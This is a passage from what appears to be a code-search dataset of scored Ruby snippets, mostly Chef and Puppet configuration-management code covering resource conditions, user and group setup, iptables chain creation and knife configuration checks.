post-patch resources should lose existing before dependencies\n post_patch_resources.each do |res|\n catalog.resource(res.to_s)['before'] = []\n end\n ## pre-reboot resources should lose existing dependencies\n pre_reboot_resources.each do |res|\n catalog.resource(res.to_s)['require'] = []\n catalog.resource(res.to_s)['before'] = []\n end\n\n catalog.add_resource(Puppet::Type.type('reboot').new(\n title: 'Patching as Code - Pending OS reboot',\n apply: 'immediately',\n schedule: parameter(:patch_window).value,\n before: 'Anchor[patching_as_code::start]',\n require: pre_reboot_resources,\n ))\n\n catalog.add_resource(Puppet::Type.type('notify').new(\n title: 'Patching as Code - Performing Pending OS reboot before patching...',\n schedule: parameter(:patch_window).value,\n notify: 'Reboot[Patching as Code - Pending OS reboot]',\n before: 'Anchor[patching_as_code::start]',\n require: pre_reboot_resources,\n ))\n end",
"title": ""
},
{
"docid": "5cc50a2f7106918033a0d28286a0e2c8",
"score": "0.47544923",
"text": "def handle_regexp_proc\n proc do\n allow(mock_spec).to receive(:ansible_inventory) do\n mock_ansible_inventory_regexp\n end\n\n allow(mock_node).to receive(:name) { 'node1' }\n allow(subject).to receive(:generate_machine_config)\n end\n end",
"title": ""
},
{
"docid": "d3ce768a871ef2438c28ed37a113323d",
"score": "0.47449052",
"text": "def windows_validation_rules\n\n template_validation_rule { finish_windows_configuration }\n\n resource_validation_rule(Azure::ARM::Compute::VirtualMachine) do |vm|\n validate_vm_images vm, Azure::ARM::Compute::VirtualMachine::WINDOWS_SERVER_2012_R2_DATACENTER\n end\n\n end",
"title": ""
},
{
"docid": "84de89c1e33d7cf9d4fc658522a2868a",
"score": "0.4731767",
"text": "def match(machine)\n\t\t@conditions.each_key{ |k|\n\t\t\tunless machine.tapes[k].read == @conditions[k]\n\t\t\t\treturn false\n\t\t\tend\n\t\t}\n\t\treturn true\n\tend",
"title": ""
},
{
"docid": "6acad8b74ed4984dea6f305eafc2f803",
"score": "0.4725588",
"text": "def create\n @property_hash[:ensure] = :present\n self.class.resource_type.validproperties.each do |property|\n if val = resource.should(property)\n @property_hash[property] = val\n end\n end\n end",
"title": ""
},
{
"docid": "a95c34b97104a3559e4480b6075fd45d",
"score": "0.47070608",
"text": "def condition(&block)\n self.processes << Proc.new do |scenario, args|\n res = catch(:rootage_process_failure) do\n get_process_context_class(scenario).new(scenario).instance_exec(*args, &block)\n true\n end\n throw :rootage_item_stop unless res\n end\n end",
"title": ""
},
{
"docid": "2c53d138abc7cb530ffbe3ba02af7f1d",
"score": "0.47066608",
"text": "def fn_if(condition, when_true, when_false)\n {\n \"Fn::If\" => [condition, when_true, when_false]\n }\n end",
"title": ""
},
{
"docid": "1bdce4168fb0f25f24fafeba11e29472",
"score": "0.47013488",
"text": "def checks_for_chef_solo?(ast)\n ! ast.xpath(%q{//if/aref[count(descendant::const[@value = 'Chef' or @value = 'Config']) = 2 and\n count(descendant::ident[@value='solo']) > 0]}).empty?\n end",
"title": ""
},
{
"docid": "1bdce4168fb0f25f24fafeba11e29472",
"score": "0.47013488",
"text": "def checks_for_chef_solo?(ast)\n ! ast.xpath(%q{//if/aref[count(descendant::const[@value = 'Chef' or @value = 'Config']) = 2 and\n count(descendant::ident[@value='solo']) > 0]}).empty?\n end",
"title": ""
},
{
"docid": "0a9961c13ea45b9826e8c02386be3d02",
"score": "0.47002485",
"text": "def edit_check(exec_action)\n t = Chef::Resource::Template.new(tpl_name, run_context)\n t.cookbook new_resource.cookbook\n t.path tpl_path\n t.source 'monit.check.erb'\n t.variables monit_check_config\n if Chef::VERSION.to_f >= 12\n t.verify do |path|\n \"monit -tc #{path}\"\n end\n end\n t.run_action exec_action\n t.updated_by_last_action?\n end",
"title": ""
},
{
"docid": "696ed899c9ee5018705634c620ae6789",
"score": "0.4699899",
"text": "def action_create\n if current_resource.exists? && correct_config?\n Chef::Log.debug(\"#{new_resource} exists - skipping\")\n else\n converge_by(\"Create #{new_resource}\") do\n executor.groovy! <<-EOH.gsub(/ ^{12}/, '')\n import hudson.model.*\n import hudson.slaves.*\n import jenkins.model.*\n import jenkins.slaves.*\n\n props = []\n availability = #{convert_to_groovy(new_resource.availability)}\n usage_mode = #{convert_to_groovy(new_resource.usage_mode)}\n env_map = #{convert_to_groovy(new_resource.environment)}\n labels = #{convert_to_groovy(new_resource.labels.sort.join(\"\\s\"))}\n\n // Compute the usage mode\n if (usage_mode == 'normal') {\n mode = Node.Mode.NORMAL\n } else {\n mode = Node.Mode.EXCLUSIVE\n }\n\n // Compute the retention strategy\n if (availability == 'demand') {\n retention_strategy =\n new RetentionStrategy.Demand(\n #{new_resource.in_demand_delay},\n #{new_resource.idle_delay}\n )\n } else if (availability == 'always') {\n retention_strategy = new RetentionStrategy.Always()\n } else {\n retention_strategy = RetentionStrategy.NOOP\n }\n\n // Create an entry in the prop list for all env vars\n if (env_map != null) {\n env_vars = new hudson.EnvVars(env_map)\n entries = env_vars.collect {\n k,v -> new EnvironmentVariablesNodeProperty.Entry(k,v)\n }\n props << new EnvironmentVariablesNodeProperty(entries)\n }\n\n // Launcher\n #{launcher_groovy}\n\n // Build the slave object\n slave = new DumbSlave(\n #{convert_to_groovy(new_resource.name)},\n #{convert_to_groovy(new_resource.description)},\n #{convert_to_groovy(new_resource.remote_fs)},\n #{convert_to_groovy(new_resource.executors.to_s)},\n mode,\n labels,\n launcher,\n retention_strategy,\n props\n )\n\n // Create or update the slave in the Jenkins instance\n nodes = new ArrayList(Jenkins.instance.getNodes())\n ix = nodes.indexOf(slave)\n (ix >= 0) ? nodes.set(ix, slave) : nodes.add(slave)\n Jenkins.instance.setNodes(nodes)\n EOH\n end\n end\n end",
"title": ""
},
{
"docid": "32b6b476008ff8b42669d62e37c4b1c4",
"score": "0.46864134",
"text": "def eval_generate\n new_resources = []\n updated_resources = []\n\n configuration.each do |type, resources|\n fail \"The 'type' should be the name of the Puppet type and not be empty! Got: #{type.inspect}\" unless type and not type.empty?\n fail \"The 'resources' should be a hash with the override Puppet resources! Got: #{resources.inspect}\" unless resources.is_a? Hash\n next unless type_enabled? type\n debug \"Processing type: #{type}\"\n resources.each do |title, parameters|\n fail \"The 'title' should be the title of the Puppet resource nd should not be empty! Got: #{title.inspect}\" unless title and not title.empty?\n fail \"The 'parameters' should be a hash of the resource parameters! Got: #{parameters.inspect}\" unless parameters.is_a? Hash\n next unless title_enabled? title\n debug \"Processing resource: #{type}[#{title}]\"\n parameters = defaults_for(type).merge parameters\n\n if resource_present? type, title\n debug \"#{type.capitalize}[#{title}] was found in the catalog, updating it!\"\n updated_resources << update_resource(type, title, parameters)\n else\n if type_create? type or title_create? title\n debug \"#{type.capitalize}[#{title}] was not found in the catalog, creating it!\"\n new_resources << create_resource(type, title, parameters)\n else\n debug \"#{type.capitalize}[#{title}] was not found in the catalog, skipping it!\"\n next\n end\n end\n\n end\n end\n update_relationship_graph(updated_resources + new_resources)\n\n new_resources\n end",
"title": ""
},
{
"docid": "aa48a2d3b7c461cdb8f818d4090f9d90",
"score": "0.46859518",
"text": "def test_conditional\n\t\tparser = Cfruby::Parser.new\n\t\tassert_equal(\"if isa?('hostname') and isa?('any')\",parser.form_conditional('hostname.any::'))\n\t\tf = File.new Cfruby.regressiontestpath+'/cfruby_conditionals.txt'\n\t\tf.each_line do | line |\n\t\t\tnext if line =~ /^\\#/ or line =~ /^$/\n\t\t\tfrom, to = line.split(/::/)\n\t\t\tassert_equal(to.strip, parser.form_conditional(from.strip+'::').strip) if from\n\t\tend\n\tend",
"title": ""
},
{
"docid": "fdb56fc00c17388452e9567c27310557",
"score": "0.466802",
"text": "def cron_should_exists(cron_name, command)\n case ohai[:platform]\n when \"aix\", \"solaris2\", \"omnios\"\n expect(shell_out(\"crontab -l #{new_resource.user} | grep \\\"#{cron_name}\\\"\").exitstatus).to eq(0)\n expect(shell_out(\"crontab -l #{new_resource.user} | grep \\\"#{cron_name}\\\"\").stdout.lines.to_a.size).to eq(1)\n expect(shell_out(\"crontab -l #{new_resource.user} | grep \\\"#{command}\\\"\").exitstatus).to eq(0)\n expect(shell_out(\"crontab -l #{new_resource.user} | grep \\\"#{command}\\\"\").stdout.lines.to_a.size).to eq(1)\n else\n expect(shell_out(\"crontab -l -u #{new_resource.user} | grep \\\"#{cron_name}\\\"\").exitstatus).to eq(0)\n expect(shell_out(\"crontab -l #{new_resource.user} | grep \\\"#{cron_name}\\\"\").stdout.lines.to_a.size).to eq(0)\n expect(shell_out(\"crontab -l -u #{new_resource.user} | grep \\\"#{command}\\\"\").exitstatus).to eq(0)\n expect(shell_out(\"crontab -l #{new_resource.user} | grep \\\"#{command}\\\"\").stdout.lines.to_a.size).to eq(0)\n end\n end",
"title": ""
},
{
"docid": "b6c32232060d208cabdb612dded136fd",
"score": "0.46542373",
"text": "def matches(facts)\n @condition.matches(facts)\n end",
"title": ""
},
{
"docid": "3df1bd42c1dad659b44d73ff32d88bcc",
"score": "0.46513095",
"text": "def define_user\n case new_resource.im_install_mode\n when 'admin'\n user = if new_resource.user.nil?\n 'root'\n else\n unless im_user_exists_unix?(new_resource.user)\n Chef::Log.fatal \"User Name provided #{new_resource.user}, does not exist\"\n raise \"User Verification 1: User Name provided #{new_resource.user}, does not exist\"\n end\n new_resource.user\n end\n user\n when 'nonAdmin', 'group'\n user = if new_resource.user.nil?\n Chef::Log.fatal \"User Name not provided! Please provide the user that should be used to install your product\"\n raise \"User Name not provided! Please provide the user that should be used to install your product\"\n else\n unless im_user_exists_unix?(new_resource.user)\n Chef::Log.fatal \"User Name provided #{new_resource.user}, does not exist\"\n raise \"User Verification 1: User Name provided #{new_resource.user}, does not exist\"\n end\n new_resource.user\n end\n user\n end\nend",
"title": ""
},
{
"docid": "3df1bd42c1dad659b44d73ff32d88bcc",
"score": "0.46513095",
"text": "def define_user\n case new_resource.im_install_mode\n when 'admin'\n user = if new_resource.user.nil?\n 'root'\n else\n unless im_user_exists_unix?(new_resource.user)\n Chef::Log.fatal \"User Name provided #{new_resource.user}, does not exist\"\n raise \"User Verification 1: User Name provided #{new_resource.user}, does not exist\"\n end\n new_resource.user\n end\n user\n when 'nonAdmin', 'group'\n user = if new_resource.user.nil?\n Chef::Log.fatal \"User Name not provided! Please provide the user that should be used to install your product\"\n raise \"User Name not provided! Please provide the user that should be used to install your product\"\n else\n unless im_user_exists_unix?(new_resource.user)\n Chef::Log.fatal \"User Name provided #{new_resource.user}, does not exist\"\n raise \"User Verification 1: User Name provided #{new_resource.user}, does not exist\"\n end\n new_resource.user\n end\n user\n end\nend",
"title": ""
},
{
"docid": "090f1b822b121decdbf2d19d9342a093",
"score": "0.46455675",
"text": "def apply(template)\n results = definitions.map do |definition|\n result = definition.apply(template)\n result == true ? result : Smash.new(:definition => definition, :failures => result)\n end\n if results.all? { |item| item == true }\n true\n else\n results.delete_if { |item| item == true }\n results\n end\n end",
"title": ""
},
{
"docid": "cdb71e2312aadcde8d6ae3e1fdc8deed",
"score": "0.4634961",
"text": "def remote_administration\n tags = %w(-primary_http -secondary_http -primary_https -secondary_https -telnet -secondary_telnet -secure_telnet)\n values = tags.inject(\"\") { |x, d| x << \"#{d} #{rand(100) > 50 ? \"on\" : \"off\"} \" }.strip\n condition = values.scan(/-.*? \\b\\w+\\b/).inject(\"\") { |x, d| x << d.delete(\"-\").capitalize.sub('_', ' ').sub('https', 'HTTPS').sub('http', 'HTTP').sub('telnet', 'Telnet').sub('secure', 'Secure').sub(/(\\bon\\b|\\boff\\b)/, 'turned \\1')+\"\\n\" }.strip\n return { \"fw_remote_admin\" => { \"section\" => \"firewall-remote admin\", \"set\" => values, \"scanbuild\" => \"on\" }}, condition\nend",
"title": ""
},
{
"docid": "9b9e7fef0ded4103779406d535ad93b6",
"score": "0.4631035",
"text": "def resource_changed?\n (@new_resource.subsystem_synonym && @current_resource.subsystem_synonym != @new_resource.subsystem_synonym) ||\n (@new_resource.arguments && @current_resource.arguments != @new_resource.arguments) ||\n (@new_resource.program && @current_resource.program != @new_resource.program) ||\n (@new_resource.user && @current_resource.user != @new_resource.user) ||\n (@new_resource.standard_input && @current_resource.standard_input != @new_resource.standard_input) ||\n (@new_resource.standard_output && @current_resource.standard_output != @new_resource.standard_output) ||\n (@new_resource.standard_error && @current_resource.standard_error != @new_resource.standard_error) ||\n (@new_resource.auto_restart && @current_resource.auto_restart != @new_resource.auto_restart) ||\n (@new_resource.multiple_instances && @current_resource.multiple_instances != @new_resource.multiple_instances) ||\n (@new_resource.use_signals && @current_resource.use_signals != @new_resource.use_signals) ||\n (@new_resource.use_sockets && @current_resource.use_sockets != @new_resource.use_sockets) ||\n (@new_resource.message_queue_key && @current_resource.message_queue_key != @new_resource.message_queue_key) ||\n (@new_resource.message_type && @current_resource.message_type != @new_resource.message_type) ||\n (@new_resource.priority && @current_resource.priority != @new_resource.priority) ||\n (@new_resource.normal_stop_signal && @current_resource.normal_stop_signal != @new_resource.normal_stop_signal) ||\n (@new_resource.force_stop_signal && @current_resource.force_stop_signal != @new_resource.force_stop_signal) ||\n (@new_resource.show_inactive && @current_resource.show_inactive != @new_resource.show_inactive) ||\n (@new_resource.wait_time && @current_resource.wait_time != @new_resource.wait_time) ||\n (@new_resource.subsystem_group && @current_resource.subsystem_group != @new_resource.subsystem_group)\nend",
"title": ""
},
{
"docid": "f5287cb0c45824170fac9b9b9737891f",
"score": "0.46289942",
"text": "def create_service(resource, actions)\n service_name = get_service_name()\n\n case resource.service_type\n when \"upstart\"\n service service_name do\n provider Chef::Provider::Service::Upstart\n supports :status => true, :restart => true, :reload => true\n action actions\n end\n when \"init.d\"\n service service_name do\n supports :status => true, :restart => true, :reload => true\n action actions\n end\n else\n raise \"dashing: Unknown service_type '#{resource.service_type}'\"\n end\nend",
"title": ""
},
{
"docid": "1f49b320449d02ad36c57790e1a45f18",
"score": "0.46074775",
"text": "def create_rightscale_tag_database(resource_name)\n ChefSpec::Matchers::ResourceMatcher.new('rightscale_tag_database', :create, resource_name)\n end",
"title": ""
},
{
"docid": "3a588384623904a948ca85a708f50de5",
"score": "0.46064702",
"text": "def checks_for_chef_solo?(ast)\n raise_unless_xpath!(ast)\n ! ast.xpath(%q{//if/*[self::aref or self::call][count(descendant::const[@value = 'Chef' or\n @value = 'Config']) = 2\n and\n ( count(descendant::ident[@value='solo']) > 0\n or count(descendant::tstring_content[@value='solo']) > 0\n )\n ]}).empty?\n end",
"title": ""
},
{
"docid": "1116d25d89398e619ec56b52045dc840",
"score": "0.45969412",
"text": "def setup_switch_case\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n act_result = nil\n act_hash = @acts[1]\n \n # Get valid action key\n act_hash.each do |cond, action_key|\n bool = false\n begin\n # Try to evaluate script\n bool = eval(cond)\n rescue StandardError => err\n # Blame script user if error :v\n display_error(\"[#{SEQUENCE_CASE},]\",err)\n end\n next unless bool # If condition valid\n act_result = action_key # Assign action key\n break # Break loop checking\n end\n \n # Evaluate action key\n return unless act_result\n is_array = act_result.is_a?(Array)\n \n # If nested array (triggered if first element is array)\n if is_array && act_result[0].is_a?(Array)\n act_result.each do |action|\n next unless action.is_a?(Array)\n @acts = action\n execute_sequence\n end\n # If normal array\n elsif is_array\n @acts = act_result\n execute_sequence\n else\n @acts = [:action, act_result]\n execute_sequence\n end\n end",
"title": ""
},
{
"docid": "a45c000ea7e41ab91e666e23faaea9c0",
"score": "0.45888734",
"text": "def apply(resource)\n [:one, :two, :ensure, :target].each do |st|\n Puppet.info \"Setting #{resource[:name]}: #{st} => #{resource.should(st)}\"\n resource.provider.send(st.to_s + \"=\", resource.should(st))\n end\n end",
"title": ""
},
{
"docid": "cd2cbcf56721fbe029aa00765700768a",
"score": "0.4586655",
"text": "def create_event\n # \n # Tue Jan 11 03:44:18 IST 2011, ramonrails\n # * https://redmine.corp.halomonitor.com/issues/4002\n if !device.blank? && (status == \"fail\") && ( ( consecutive_fails > 3 && configured == \"old\") || (configured == \"new\") )\n # if !device.blank? and (status == \"fail\" && consecutive_fails > 3 && configured == \"old\") or (status == \"fail\" && configured == \"new\") \n device.users.each do |user|\n Event.create_event(user.id, self.class.name, id, created_at)\n end\n end\n end",
"title": ""
},
{
"docid": "500f25dc85c57449f8b4df743aba7015",
"score": "0.45850456",
"text": "def generate_examples_section\n @catalog['resources'].each do |r|\n\n type = r['type']\n title = r['title'].gsub /'/, \"\\\\\\\\'\"\n parameters = r['parameters']\n\n if parameters.nil?\n @content +=\n \" it 'is expected to contain #{type.downcase} #{title}' do\\n\" +\n \" is_expected.to #{matcher(type)}('#{title}')\\n\" +\n \" end\\n\\n\"\n next\n end\n\n @content +=\n \" it 'is expected to contain #{type.downcase} #{title}' do\\n\" +\n \" is_expected.to #{matcher(type)}('#{title}').with({\\n\"\n\n parameters.each do |k, v|\n unless type == 'File' and k == 'content'\n if v.class == String\n v.gsub! /'/, \"\\\\\\\\'\"\n @content += \" '#{k}' => '#{v}',\\n\"\n elsif [Integer, TrueClass, FalseClass].include?(v.class)\n @content += \" '#{k}' => '#{v}',\\n\"\n elsif [Array, Hash].include?(v.class)\n @content += \" '#{k}' => #{v},\\n\"\n else\n raise \"Unhandled input at #{type}[#{title}] of class #{v.class}\"\n end\n end\n end\n\n @content += \" })\\n end\\n\\n\"\n\n ensr = parameters['ensure']\n cont = parameters['content']\n\n if type == 'File' and\n not cont.nil? and\n (ensr == 'file' or ensr == 'present' or\n not parameters.has_key?('ensure'))\n\n mod = cont.clone\n\n if parameters.has_key?('content')\n begin\n mod.gsub!('\\\\') { '\\\\\\\\' }\n mod.gsub! /\"/, '\\\"'\n mod.gsub! /\\@/, '\\@'\n mod.gsub! /\\$;/, '\\\\$;'\n rescue\n end\n end\n\n if not cont.nil?\n if @options[:md5sums]\n generate_md5sum_check(title, cont)\n else\n generate_content_check(title, mod)\n end\n end\n end\n end\n end",
"title": ""
},
{
"docid": "67e2908cd24b2a10479f128cd0498682",
"score": "0.4583049",
"text": "def run_poise_test(resource_name)\n ChefSpec::Matchers::ResourceMatcher.new(:poise_test, :run, resource_name)\n end",
"title": ""
},
{
"docid": "eaf1f3a0c9ed01c06c1d9459fbcd2c96",
"score": "0.45782536",
"text": "def default_conditions(w)\n w.interval = 30.seconds\n w.start_grace = 1.minute\n w.start_if do |start|\n start.condition(:process_running) do |c|\n c.interval = 1.minute\n c.running = false\n end\n end\nend",
"title": ""
},
{
"docid": "e04f0254c4cef89a61776c3cfb679f59",
"score": "0.45751667",
"text": "def recipes\n ['runit', proc {\n begin\n if node['virtualization'] && %w{docker lxc}.include?(node['virtualization']['system'])\n resources('service[runsvdir-start]').action(:nothing)\n end\n rescue Chef::Exceptions::ResourceNotFound\n end\n }]\n end",
"title": ""
},
{
"docid": "9341b0a04588805582a9a2d2f144ba0e",
"score": "0.45630544",
"text": "def pick_when action, type, field, target_value\n if action[\"_type\"] == type and action[field] =~ target_value\n \n end\n end",
"title": ""
},
{
"docid": "52032172c45ea45edf45427580355a79",
"score": "0.45599273",
"text": "def rule(model)\n return false unless model.is_a?(CukeModeler::Scenario) || model.is_a?(CukeModeler::Outline)\n\n model_steps = model.steps || []\n return false unless model_steps.last\n\n when_keywords.include?(model_steps.last.keyword)\n end",
"title": ""
},
{
"docid": "d1e2dda632e9bd093e1b2f63af210361",
"score": "0.45591336",
"text": "def check_valid_condition(expression)\n expression.is_a? Nagios::MkLiveStatus::Wait::And or expression.is_a? Nagios::MkLiveStatus::Wait::Or or expression.is_a? Nagios::MkLiveStatus::Wait::Attr\n end",
"title": ""
},
{
"docid": "784cd33a28da29be0dbb444b105456c5",
"score": "0.4551187",
"text": "def check_request(svc,request)\n request_state=request.request_state.downcase\n request.miq_request_tasks.each do |task|\n $evm.log(:info,\"CC- checking #{task.destination}\")\n unless task.destination.nil?\n if (task.destination_type.downcase rescue nil)==\"service\"\n $evm.log(:info,\"CC- setting parent for #{task.destination.name} to #{svc.name}\")\n task.destination.parent_service=svc\n task.destination.display=true\n end\n end\n end\n \n case request_state\n when \"error\"\n $evm.log(:info,\"CC- Ressource is in ERROR state\")\n $evm.root['ae_result']=\"error\"\n when \"finished\"\n if request.status.downcase==\"error\"\n then\n $evm.log(:info,\"CC- Ressource is finished with ERROR. Exiting\")\n $evm.root['ae_result']=\"error\"\n else\n $evm.log(:info,\"CC- Ressource is provisionned. Exiting\")\n $evm.root['ae_result']=\"ok\"\n end\n else\n $evm.log(:info,\"CC- Ressource is in #{request_state} state...retying\")\n $evm.root['ae_result']=\"retry\"\n $evm.root[\"ae_retry_interval\"]=\"10.seconds\"\n end\nend",
"title": ""
},
{
"docid": "fe462835068107127cbad920d36c18fb",
"score": "0.45498314",
"text": "def check\n desired_state = load_state(:desired)\n begin\n current_state = load_state(:current) \n rescue ArgumentError => e\n return desired_state[\"data\"]\n end\n\n item_id = @node[\"effective\"][\"state\"][@state_name][\"desired\"]\n e = Effective.new(current_state[\"data\"], desired_state[\"data\"])\n desired_state[\"conditions\"].each do |condition_name, condition_opts|\n e.condition(condition_name, generate_condition_lambda(condition_opts[\"query\"], condition_opts[\"attribute\"], item_id))\n end\n result, why = e.check(\"or\", desired_state[\"retry_count\"], desired_state[\"random_wait\"])\n return result\n end",
"title": ""
},
{
"docid": "d11b94dad1bf7008865d713b3684478d",
"score": "0.4544151",
"text": "def run_when(&blk)\n raise(\"A block is needed to evaluate for run_when\") unless block_given?\n @run_condition = blk\n end",
"title": ""
},
{
"docid": "f5b1213aac6707592e13ee3fcde324ee",
"score": "0.453978",
"text": "def password_rule_test_sets\n {\n 'not set': 'pass',\n 'parameter with NoEcho': 'pass',\n 'parameter with NoEcho and Default value': 'fail',\n 'parameter as a literal in plaintext': 'fail',\n 'as a literal in plaintext': 'fail',\n 'from Secrets Manager': 'pass',\n 'from Secure Systems Manager': 'pass',\n 'from Systems Manager': 'fail'\n }\nend",
"title": ""
},
{
"docid": "e6c5a977c6a2322e003021a3dc4c4172",
"score": "0.44960698",
"text": "def reload_ohai(resource_name)\n ChefSpec::Matchers::ResourceMatcher.new(:ohai, :reload, resource_name)\n end",
"title": ""
},
{
"docid": "e6a4821dca714bbbd946c5003ddeda5b",
"score": "0.4492343",
"text": "def then_clause\n expect :if\n self[2]\n end",
"title": ""
},
{
"docid": "1729751df722f2d41475a2fec1000c1e",
"score": "0.44914922",
"text": "def evaluate\n made_discovery = true\n while made_discovery do\n made_discovery = self.rules.any? do |rule|\n if rule.fired?\n false\n else\n rule.evaluate\n rule.fired?\n end\n end\n end\n end",
"title": ""
},
{
"docid": "b147ed3a7641060b7c44a59d405a7b67",
"score": "0.44868398",
"text": "def sample_example__define_contexts\n define_contexts [\n {\n \"role\" => [\"role_3\", \"role_4\"],\n \"authenticate_as\"=> [\"role_1\", \"role_2\"],\n \"result\"=> [\n Proc.new { |h|\n \"#{h[\"authenticate_as\"]} ALLOWED to create #{h[\"role\"]}\"\n }\n ],\n },\n {\n \"role\" => [\"role_1\", \"role_2\", \"role_3\", \"role_4\"] - [\"role_3\", \"role_4\"],\n \"authenticate_as\"=> [\"role_1\", \"role_2\"],\n \"result\"=> [\n Proc.new { |h|\n \"#{h[\"authenticate_as\"]} NOT ALLOWED to create #{h[\"role\"]}\"\n }\n ],\n },\n ]\n end",
"title": ""
},
{
"docid": "24ed6aa3d74e8cec0974a00bf3a26b72",
"score": "0.44789776",
"text": "def sanity_check\n # Check iptables FILTER table for our chef chain\n begin\n shell_out!('iptables -nL Promethean')\n rescue Mixlib::ShellOut::ShellCommandFailed\n\tinfo(\"Defining Promethean chain\")\n shell_out!('iptables -N Promethean')\n end\n\n # Check iptables FILTER INPUT chain for a jump to our chef chain\n unless shell_out!('iptables -nL INPUT').stdout.lines.find { |line| line =~ /^Promethean[ ]*all/ }\n\tinfo(\"Adding Promethean chain to input table\")\n shell_out!('iptables -A INPUT -j Promethean')\n end\n\n # Check the header of our file\n # If it's not there, blast the file and rewrite the header\n res = @new_resource\n saved_header = nil\n if ::File.exist?(res.script_path) and ::File.size(res.script_path) > 0\n saved_header = ::File.open(res.script_path) { |f| f.readline.chomp }\n end\n header = 'iptables -F Promethean'\n if saved_header.nil? || saved_header != header\n info(\"No header in #{res.script_path}, writing #{header}\")\n\t::File.open(res.script_path, 'w') do |f|\n f.puts header\n end\n return true\n end\n\n false\nend",
"title": ""
},
{
"docid": "0aeb7604b868fdb0b8e0406b6bb0907a",
"score": "0.4476797",
"text": "def setup_plans\n begin\n @@acme_projects ||= Chargify::ProductFamily.find_by_handle('acme-projects')\n rescue ActiveResource::ResourceNotFound\n @@acme_projects = Chargify::ProductFamily.new(\n :name => \"Acme Projects\"\n )\n result = @@acme_projects.save\n result.should be_true\n end\n \n begin\n @@basic_plan ||= Chargify::Product.find_by_handle('basic')\n rescue ActiveResource::ResourceNotFound\n @@basic_plan = Chargify::Product.new(\n :product_family_id => @@acme_projects.id,\n :name => \"Basic Plan\",\n :handle => \"basic\",\n :price_in_cents => 1000,\n :interval => 1,\n :interval_unit => 'month',\n :trial_interval => 1,\n :trial_interval_unit => 'month',\n :trial_price_in_cents => 0\n )\n result = @@basic_plan.save\n result.should be_true\n end\n\n begin\n @@pro_plan ||= Chargify::Product.find_by_handle('pro')\n rescue ActiveResource::ResourceNotFound\n @@pro_plan = Chargify::Product.new(\n :product_family_id => @@acme_projects.id,\n :name => \"Pro Plan\",\n :handle => \"pro\",\n :price_in_cents => 5000,\n :interval => 1,\n :interval_unit => 'month'\n )\n result = @@pro_plan.save\n result.should be_true\n end\n end",
"title": ""
},
{
"docid": "eda2326a6099ee2d676162f50a86d5bf",
"score": "0.44702557",
"text": "def check_on_or_off(stack, details)\n # watch for weird yaml truthiness\n # yaml makes on = true for ruby so use quotes\n unless details[:condition_on_or_off] == 'on' || details[:condition_on_or_off] == 'off'\n return false\n end\n\n Parameter(\"#{stack}OnOrOff\") do\n Type 'String'\n Default details[:condition_on_or_off]\n AllowedValues %w[on off]\n Description \"Choose on if you want #{stack} Stack to be deployed\"\n end\n\n Condition(\"#{stack}OnOrOff\", FnEquals(Ref(\"#{stack}OnOrOff\"), 'on'))\n\n true\nend",
"title": ""
},
{
"docid": "3c9ccc7bd278465579fb476d004d4d0c",
"score": "0.4468449",
"text": "def define_group\n case new_resource.im_install_mode\n when 'admin'\n group = if new_resource.group.nil?\n 'root'\n else\n new_resource.group\n end\n group\n when 'nonAdmin', 'group'\n group = if new_resource.group.nil?\n Chef::Log.fatal \"Group not provided! Please provide the group that should be used to install your product\"\n raise \"Group not provided! Please provide the group that should be used to install your product\"\n else\n new_resource.group\n end\n group\n end\nend",
"title": ""
},
{
"docid": "3c9ccc7bd278465579fb476d004d4d0c",
"score": "0.4468449",
"text": "def define_group\n case new_resource.im_install_mode\n when 'admin'\n group = if new_resource.group.nil?\n 'root'\n else\n new_resource.group\n end\n group\n when 'nonAdmin', 'group'\n group = if new_resource.group.nil?\n Chef::Log.fatal \"Group not provided! Please provide the group that should be used to install your product\"\n raise \"Group not provided! Please provide the group that should be used to install your product\"\n else\n new_resource.group\n end\n group\n end\nend",
"title": ""
},
{
"docid": "a97b167cd1dacb1f7329a0640e377304",
"score": "0.44671705",
"text": "def matching(case_cond)\n Rule.new error: [:not_matching, case_cond], predicate: -> { case_cond === _1 }\n end",
"title": ""
},
{
"docid": "5a132baba112edd9d24726a51a75396f",
"score": "0.4465351",
"text": "def run_ec2_cspec(test_context, test_case_scene, test_run_expect, factory_to_be_exercised, run_list_cmd = true, run_del_cmd = true)\n context \"\" do\n instance_name = \"instance_name\"\n cmd_out = \"\"\n context \"#{test_context}\" do\n let(:server_create_factory){ FactoryGirl.build(factory_to_be_exercised) }\n # let(:instance_name){ strip_out_command_key(\"#{server_create_factory.node_name}\") }\n let(:command) { prepare_create_srv_cmd_ec2_cspec(server_create_factory) }\n after(:each){instance_name = strip_out_command_key(\"#{server_create_factory.node_name}\")}\n context \"#{test_case_scene}\" do\n it \"#{test_run_expect[:status]}\" do\n match_status(test_run_expect)\n end\n end\n end\n\n if run_list_cmd\n context \"list server after #{test_context} \" do\n let(:grep_cmd) { \"| grep -e #{instance_name}\" }\n let(:command) { prepare_list_srv_cmd_ec2_lspec(srv_list_base_fact_ec2)}\n after(:each){cmd_out = \"#{cmd_stdout}\"}\n it \"should succeed\" do\n match_status({:status => \"should succeed\"})\n end\n end\n end\n\n if run_del_cmd\n context \"delete-purge server after #{test_context} #{test_case_scene}\" do\n let(:command) { \"#{cmds_ec2.cmd_delete_server}\" + \" \" +\n find_id(instance_name, \"#{cmd_out}\") +\n \" \" +\n prepare_knife_command(srv_del_base_fact_ec2) +\n \" -y\" + \" -N #{instance_name} -P\"}\n it \"should succeed\" do\n match_status({:status => \"should succeed\"})\n end\n end\n end\n\n end\nend",
"title": ""
},
{
"docid": "cade8fd0ffffb079e7cd0ba52e5769ae",
"score": "0.44652247",
"text": "def run\n\n # Grab all the config params from command line, knife.rb etc\n self.config = Chef::Config.merge!(config)\n\n # Check if we have a knife.rb\n puts \"Check location of knife.rb\"\n checkfiles(:config_file,\"The config file (knife.rb) should be stored in a .chef folder here or higher (towards root)\")\n if config[:config_file].nil?\n exit 1\n else\n # We shouldn't reach this point but lets make sure we die if we somehow do.\n unless ::File.exists?(File.expand_path(config[:config_file]))\n exit 1\n end\n end\n \n puts \"Check chef basics\"\n checkparm(:chef_server_url,'chef_server_url should be set to point to your chef server (https://<server.name>/organizations/<orgname>)')\n checkfiles(:cookbook_path,\"cookbook_path should point to a valid directory\")\n\n puts \"Check author and copyright info\"\n checkparm(:cookbook_copyright,\"cookbook_copyright should be set to your company name\")\n checkparm(:cookbook_email,\"cookbook_email should be set to your eMail address\")\n\n\n puts \"Check keys exist\"\n checkfiles(:client_key,\"This file is used for authenticating to Chef server and is normally saved in .chef as client.pem\")\n checkfiles(:validation_key,\"This file is used for 